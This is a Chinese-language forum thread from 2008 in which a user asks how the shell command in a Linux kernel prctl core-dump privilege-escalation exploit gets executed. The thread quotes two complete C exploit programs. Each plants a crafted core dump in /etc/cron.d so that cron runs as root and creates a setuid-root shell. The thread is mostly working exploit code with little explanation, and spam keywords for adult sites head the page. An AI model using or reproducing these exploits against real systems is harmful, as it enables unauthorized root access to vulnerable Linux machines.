亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊(cè) 查看新帖 |

Chinaunix

  平臺(tái) 論壇 博客 文庫(kù)
最近訪問(wèn)板塊 發(fā)新帖
查看: 2438 | 回復(fù): 3
打印 上一主題 下一主題

請(qǐng)問(wèn)這段C程序代碼里的shell是如何被執(zhí)行的? [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報(bào)告]
發(fā)表于 2008-05-27 20:35 |只看該作者 |倒序?yàn)g覽
今天看了看下面這段代碼,在2.6.13上可以提升權(quán)限,但是代碼里面的shell命令又是如何被執(zhí)行到的?

程序好像是利用2.6.13-2.6.17的內(nèi)核之間coredump的漏洞,把權(quán)限返回給父進(jìn)程,最終獲得權(quán)限提升

http://www.milw0rm.com/exploits/2005
  1. /* Linux >= 2.6.13 prctl kernel exploit
  2. *
  3. * (C) Julien TINNES
  4. *
  5. * If you read the Changelog from 2.6.13 you've probably seen:
  6. *  [PATCH] setuid core dump
  7. *
  8. * This patch mainly adds suidsafe to suid_dumpable sysctl but also a new per process,
  9. * user setable argument to PR_SET_DUMPABLE.
  10. *
  11. * This flaw allows us to create a root owned coredump into any directory.
  12. * This is trivially exploitable.
  13. *
  14. */

  15. #include <sys/types.h>
  16. #include <sys/time.h>
  17. #include <sys/resource.h>
  18. #include <sys/prctl.h>
  19. #include <unistd.h>
  20. #include <stdio.h>
  21. #include <errno.h>
  22. #include <signal.h>
  23. #include <stdlib.h>
  24. #include <time.h>

  25. #define CROND "/etc/cron.d"
  26. #define BUFSIZE 2048


  27. struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};

  28. char        crontemplate[]=
  29. "#/etc/cron.d/core suid_dumpable exploit\n"
  30. "SHELL=/bin/sh\n"
  31. "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
  32. "#%s* * * * *        root         chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";

  33. char        cronstring[BUFSIZE];
  34. char        fname[BUFSIZE];

  35. struct timeval te;

  36. void sh(int sn) {
  37.         execl(fname, fname, (char *) NULL);
  38. }
  39.        

  40. int        main(int argc, char *argv[]) {

  41.         int nw, pid;

  42.         if (geteuid() == 0) {
  43.                 printf("[+] getting root shell\n");
  44.                 setuid(0);
  45.                 setgid(0);
  46.                 if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
  47.                         perror("[-] execle");
  48.                         return 1;
  49.                 }
  50.         }

  51.         printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");

  52.         /* get our file name */
  53.         if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
  54.                 perror("[-] readlink");
  55.                 printf("This is not fatal, rewrite the exploit\n");
  56.         }

  57.         if (signal(SIGUSR1, sh) == SIG_ERR) {
  58.                 perror("[-] signal");
  59.                 return 1;
  60.         }
  61.         printf("[+] Installed signal handler\n");

  62.         /* Let us create core files */
  63.         setrlimit(RLIMIT_CORE, &myrlimit);
  64.         if (chdir(CROND) == -1) {
  65.                 perror("[-] chdir");
  66.                 return 1;
  67.         }

  68.         /* exploit the flaw */
  69.         if (prctl(PR_SET_DUMPABLE, 2) == -1) {
  70.                 perror("[-] prtctl");
  71.                 printf("Is you kernel version >= 2.6.13 ?\n");
  72.                 return 1;
  73.         }

  74.         printf("[+] We are suidsafe dumpable!\n");

  75.         /* Forge the string for our core dump */
  76.         nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
  77.         if (nw >= sizeof(cronstring)) {
  78.                 printf("[-] cronstring is too small\n");
  79.                 return 1;
  80.         }
  81.         printf("[+] Malicious string forged\n");

  82.         if ((pid=fork()) == -1) {
  83.                 perror("[-] fork");
  84.                 return 1;
  85.         }

  86.         if (pid == 0) {
  87.                 /* This is not the good way to do it ;) */
  88.                 sleep(120);
  89.                 exit(0);
  90.         }

  91.         /* SEGFAULT the child */
  92.         printf("[+] Segfaulting child\n");
  93.         if (kill(pid, 11) == -1) {
  94.                 perror("[-] kill");
  95.                 return 1;
  96.         }
  97.         if (gettimeofday(&te, NULL) == 0)
  98.                 printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
  99.         sleep(120);

  100.         printf("[-] It looks like the exploit failed\n");

  101.         return 1;
  102. }

  103. // milw0rm.com [2006-07-12]
復(fù)制代碼

  1. char        crontemplate[]=
  2. "#/etc/cron.d/core suid_dumpable exploit\n"
  3. "SHELL=/bin/sh\n"
  4. "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
  5. "#%s* * * * *        root         chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";
復(fù)制代碼

這個(gè)地方,跟著代碼調(diào)了好久好久,我還是沒(méi)有明白它是如何被執(zhí)行到的,請(qǐng)知道的朋友說(shuō)一聲,謝謝:)

[ 本帖最后由 hongmy525 于 2008-5-27 20:39 編輯 ]

論壇徽章:
0
2 [報(bào)告]
發(fā)表于 2008-05-27 22:40 |只看該作者
這個(gè)更直觀

  1. #include <stdio.h>
  2. #include <sys/time.h>
  3. #include <sys/resource.h>
  4. #include <unistd.h>
  5. #include <linux/prctl.h>
  6. #include <stdlib.h>
  7. #include <sys/types.h>
  8. #include <signal.h>

  9. char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

  10. int main() {
  11.     int child;
  12.     struct rlimit corelimit;
  13.     printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
  14.     printf("By: dreyer & RoMaNSoFt\n");
  15.     printf("[ 10.Jul.2006 ]\n\n");

  16.     corelimit.rlim_cur = RLIM_INFINITY;
  17.     corelimit.rlim_max = RLIM_INFINITY;
  18.     setrlimit(RLIMIT_CORE, &corelimit);

  19.     printf("
  20. Creating Cron entry\n");

  21.     if ( !( child = fork() )) {
  22.         chdir("/etc/cron.d");
  23.         prctl(PR_SET_DUMPABLE, 2);
  24.         sleep(200);
  25.         exit(1);
  26.     }

  27.     kill(child, SIGSEGV);

  28.     printf("
  29. Sleeping for aprox. one minute (** please wait **)\n");
  30.     sleep(62);

  31.     printf("
  32. Running shell (remember to remove /tmp/sh when finished) ...\n");
  33.     system("/tmp/sh -p");
  34. }
復(fù)制代碼

論壇徽章:
0
3 [報(bào)告]
發(fā)表于 2008-05-28 10:13 |只看該作者
這是這個(gè)內(nèi)核漏洞的其他版本,之前我沒(méi)看:)不過(guò)看了還是不明白~~

請(qǐng)問(wèn)payload 是什么時(shí)候被執(zhí)行的?

論壇徽章:
0
4 [報(bào)告]
發(fā)表于 2008-05-29 11:56 |只看該作者
這是個(gè)內(nèi)核漏洞,能發(fā)到內(nèi)核版ma?
您需要登錄后才可以回帖 登錄 | 注冊(cè)

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號(hào)-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號(hào):11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報(bào)專區(qū)
中國(guó)互聯(lián)網(wǎng)協(xié)會(huì)會(huì)員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過(guò)ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請(qǐng)注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP